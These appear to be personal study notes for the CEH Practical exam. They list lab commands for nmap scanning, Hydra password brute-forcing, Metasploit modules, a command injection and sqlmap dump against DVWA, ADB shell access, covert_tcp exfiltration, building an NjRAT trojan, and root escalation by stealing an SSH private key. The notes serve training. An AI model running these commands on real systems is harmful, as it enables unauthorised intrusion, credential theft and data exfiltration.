**Tools**

1. Nmap
2. Wireshark
3. Metasploit
4. Hydra
5. Cryptool / BCTextEncoder
6. Veracrypt
7. Burp suite
8. Hydra
9. Hashes.com/HashMyfiles/HashCalc
10. Snow steganography/OpenStego/Covert TCP
11. SQL Injection / nslookup/sqlmap/nikto
12. Android Debugging Bridge (adb)

**Phases**

1. **Network Scanning & Vulnerability Assessment**

* Find Live hosts (nmap /netdiscover)
* ***Sudo nmap [IP address]*** *– for exam (CEH Practical)*
* *Sudo nmap –sC –sV –v –A –p– –O –T4 [IP Address range] – more aggressive deep scanning*
* *Sudo nmap –sV –script vuln [IP Address] – finding vulnerabilities in a host (-oX save file)*
* *Sudo nmap –sP 192.168.1.\*:- when scanning a large network*
* Find open ports & services running on those ports (nmap)
* *Sudo nmap –sC –sV –v –p– –T4 [IP Address range]*

1. **Enumeration**

* ftp port 21 – used to transfer files between computers (file sharing)
* *check IP to see which is running ftp*
* ***nmap –sC –p 21 [IP address]***
* *ftp [IP] :- you need to bruteforce the password login credentials using hydra tool*
* ***hydra –L username.txt –P password.txt [IP address] ftp*** *( the lists of password & usernames are given in the exam)*
* *login ftp [IP address]*
* *enter password and username from the one that you brute forced*
* *ftp>ls*
* *ftp> get secret.txt (used to download the file into your local machine)*
* *root@attacker:~#ls*
* *root@attacker:~#cat secret.txt (to view the file contents)*
* SNMP port 161– used to monitor and manage network devices e.g. routers, switches, servers etc.
* *Nmap –sP [IP /24]*
* *Nmap –sU [IP Address]* (scan for UDP ports on the target machine)
* *snmp-check [ip address]* NB take note of the UDP port to listen to)
* check NSE scripts online on nmap.org
* *nmap –sU –p 161(UDP port) –script=snmp-processes [IP Address] ( finding running process using nmap*
* *msfconsole (start Metasploit to find valid strings)*
* *msf5>search snmp*
* *msf5>use auxiliary/scanner/snmp/snmp\_login*
* *msf5 auxiliary(scanner/snmp/snmp\_login)> show options*
* *msf5 auxiliary(scanner/snmp/snmp\_login)>set RHOSTS [IP Address]*
* *msf5 auxiliary(scanner/snmp/snmp\_login)>exploit*
* SNMP check interfaces
* *nmap –sU –p 161(UDP port) –script=snmp-interfaces [IP Address] ( finding running process using nmap*
* *snmp-check [IP address]*
* SMB Enumeration (SMB request services from server programs, it’s a protocol that allows apps on a computer read/write files)
* *Nmap [target IP] (smb running on port 445)*
* *Nmap –p 445 --script smb-enum-shares [IP address] (****enumerating files****) shares files with details permissions*
* *Connecting GUI method (smb://[IP] on web)*
* *Nmap –p 445 --script smb-enum-users --script-args smbusername=administrator,smbpassword=smbserver\_771 [IP address] (****enumerating users****)*
* *Nmap –p 445 --script smb-enum-groups --script-args smbusername=administrator,smbpassword=smbserver\_771 [IP address] (****enumerating groups****)*
* *Nmap –sC –sV –A –T4 –p445 [IP Address] (****enumerating security levels****)*
* *Nmap –p 445 --script smb-enum-services --script-args smbusername=administrator,smbpassword=smbserver\_771 [IP address] (****enumerating services****)*
* Making an RDP session and Enumerate RDP service
* *Nmap [Ip address] port 3333 or 3389 is for RDP*
* *Msfconsole*
* *msf5> search rdp*
* *msf5>use auxiliary/scanner/rdp/rdp\_scanner*
* *msf5 auxiliary(scanner/rdp/rdp\_scanner)> set RHOSTS [target IP]*
* *msf5 auxiliary(scanner/rdp/rdp\_scanner)>set RPORT 3333*
* *msf5 auxiliary(scanner/rdp/rdp\_scanner)>exploit (detected rdp on ….. confirmed rdp is running)*
* *hydra –L {path} –P{path} rdp://[IP address] –s 3333 (brute force passwords & save them)*
* *root@attacker:~# xfreerdp /u:administrator /p:etcect /v:[ip]:3333(create an rdp session)*
* Enumerate NetBIOS port 137(UDP: TCP)/138(UDP)/139(TCP) facilitates and allows computer to connect over the local network, access files & resources such as printers & files
* Check ip first by *ip a*
* *Nmap –sP [IP address]*
* *Nmap –sV --script nbstat.nse [IP address]*

1. **Hacking Web Application & Android**

* Wpscan
* *Wpscan in Kali Linux Wpscan –h will show you all the commands you can use*
* *Wpscan –url [copy url http://192.168.0.1] --enumerate u (u for users)*
* *Wpscan –url (or just –u for url) [copy url http://192.168.0.1] --enumerate u vp (vp for vulnerable plugins & u for users)*
* *Sudo Wpscan --password-attack xmlrpc –t 20 –U (usernames) –P (password list) --url* [*http://[IP*](http://[IP)*] --random-user-agent (if necessary)- bruteforce for passwords*
* Sqlmap for sql injections**–Using DVWA website**
* *Go to command execution*
* *Enter an IP address and submit :- [IP] | pwd to see the directory that I am*
* *UserID enter 1*
* *Open burp Suite*
* *Go to terminal in parrot : sqlmap –r req.txt –dbs the file is in desktop*
* *Sqlmap –r req.txt –D dvwa ( name of the data base )*
* *Sqlmap –r req.txt –D dvwa --tables --columns ( Details )*
* *Sqlmap –r req.txt –D dvwa --dump (contents of the tables)*
* Burp Suite
* *Check on http requests and proxy (use this to save cookies as req.txt)*
* Android Pentest (ADB) – a tool that bridge the communication between your device and computer ( use windows)
* *‘adb devices’ command will show you all the devices connected*
* *adb connect [IP address]:5555 ( just give any port)*
* *adb shell ( you are in the device )*
* *hit ls to see where you are in the device*
* *cd sdcard/*
* *cat secrete.txt*

1. **Traffic Sniffing**

* Wireshark

**Pcap analysis – Filtering packets**

* *tcp.flags.syn*
* *Follow streams red part is our request and the blue part is the server response*
* *To see if there is a txt file – export object got to file, export object of http and save it*

(DOS, DDOS)

1. **Steganography**

* SNOW – for hiding and extracting hidden data from a text file
* *Open SNOW.EXE (NB. you have to write in uppercase)–C (compile) –m “this is the secret message” –p ‘’give the password any’’ Secret.txt (this is the secrete file) Hiddensecret.txt (is the file you want to be the output)*
* *To extract the hidden file-: SNOW.EXE –C -p “given password any” Hiddensecret.txt and then hit enter.*
* OpenStego – for hiding and extracting hidden data from an image file
* *Open the OpenStego tool*
* *There 2 options, Hiding data and extracting the secret*
* *Follow options-: they are self-explanatory*
* *When extracting data the same. In an exam you can be told to extract a file and you will find a key. Open hashes.com on browser and then retrieve the key*
* Covert – for hiding data in TCP/IP packet headers
* D*ownload covert\_tcp file in parrot*
* *Cd Downloads*
* *Then ~/Downloads/Covert\_tcp $ ls there will be 3 files covert\_tcp, covert\_tcp.c & secret.txt and then-: rm covert\_tcp to remove it in parrot*
* *Enter a command: cc –a covert\_tcp covert\_tcp.c*
* *./covert\_tcp –source [IP Addrr e.g. 192.168.1.1] ( source Ip) –dest [IP Addrr] (destination IP) –source\_port 9999 ( set any port) –dest\_port 8888 –file secret.txt -: this is done from source computer*
* *./covert\_tcp –source [IP Addrr: 192.168.1.1] ( source Ip) -source\_port 8888 –server –file receive.txt (received file as)*

1. **Cryptography –** practice of securing information so that it’s only accessible to authorised users only. The goal is to protect sensitive information

* HashMyfiles - calculating and comparing hashes of files
* *Open the tool*
* *Drag and drop the files to the HashMyfiles application*
* *The change in the background colour may mean that the data has been tempered with or the data in the files is the same*
* Cryptool – encrypting and decrypting of hex data – by manipulating key length
* *Open the app and open file*
* *Go to analysis and then symmetric – RC4, a window pops up change the key length maybe to 16bit depends with the qns*
* BCTextEncoder - encoding and decoding text in file .hex
* *Open the app*
* *Enter passwords to encode the text to hex format*
* *To decrypt the hash go to hashes.com online and paste the hash key*
* Crypto Forge – encrypting and decrypting the files
* *Select file & right click*
* *Select encrypt. To decrypt the hash go to hashes.com online and paste the hash key*
* Veracrypt – hiding and encrypting the disk partitions
* *Open app and hit create volume option*
* *Create an encrypted file container*
* *Hidden volume then normal mode then next & select folder then C:\ then file name NB mouse hover hover*
* *Go to App, select mount to retrieve information of the hidden partition, this is do*

1. **RAT – Remote Access Trojans (ProRat & NjRAT)**

* *If you try and you are getting a response “no connection” it means maybe you have chosen the wrong machine to target or he port you have selected is the wrong one. Or the server is of different tool and you are using a different tool.*
* *Using ProRat you open it using attacker machine using the IP address of the victim machine use the default port*
* *Click connect and insert password. The password is provided if ProRat is used but if there is no password it means you use either HTTP RAT or NjRAT and you brute force.*
* *Click on search files, copy the location and download the file.*
* *You can make use of the File Manager option that is GUI*

**USING NjRAT**

* *Using windows 11 as attacker and windows server as victim*
* *Use the same default port and click start*
* *Click on builder and provide the IP of the attacker machine on the host*
* *Click build and it will create server.exe file and save it e.g. on desktop*
* *Share the file on the share folder (Desktop)then go to the server victim machine*
* *Run the .EXE file*
* *Switch back to attacker ,machine and you can see the session has been opened*
* *You can right click on the session and use even RDP*

1. **Privilege escalation**

* *ssh user1@[IP Addrr] –p(port) hit Y to agree and then enter the password you are provided or use hydra to brute force the password*
* *If you hit the command whoami it shows you the user*
* *Sudo –L it shows you which users are there*
* *Go to the desired directory and do ls then it shows you the file, if you hit cat flag.txt you want to retrieve info in the file*
* *Sudo –u user2 /bin/bash now you are logged in as user2 then go to the desired directory*
* *This is horizontal privilege escalation*

**Escalate to root user**

* *ls la shows all users*
* *cd /root (access denied)*
* *cd .ssh*
* *ls*
* *cat id\_rsa you get ssh private key an copy*
* *nano id\_rsa and then paste the key (in our local machine)*
* *chmod 600 id\_rsa (give permission to this file)*
* *ssh root@[target IP] –p (port) –i id\_rsa*
* *ls*
* *cat flag.txt*

**Nikto-** *nikto –h* [*http://[IP*](http://[IP) *Address]:80 (you can run on port 80)*

**Go Buster**

**Review ippsec**

**AMASS- to check on this one**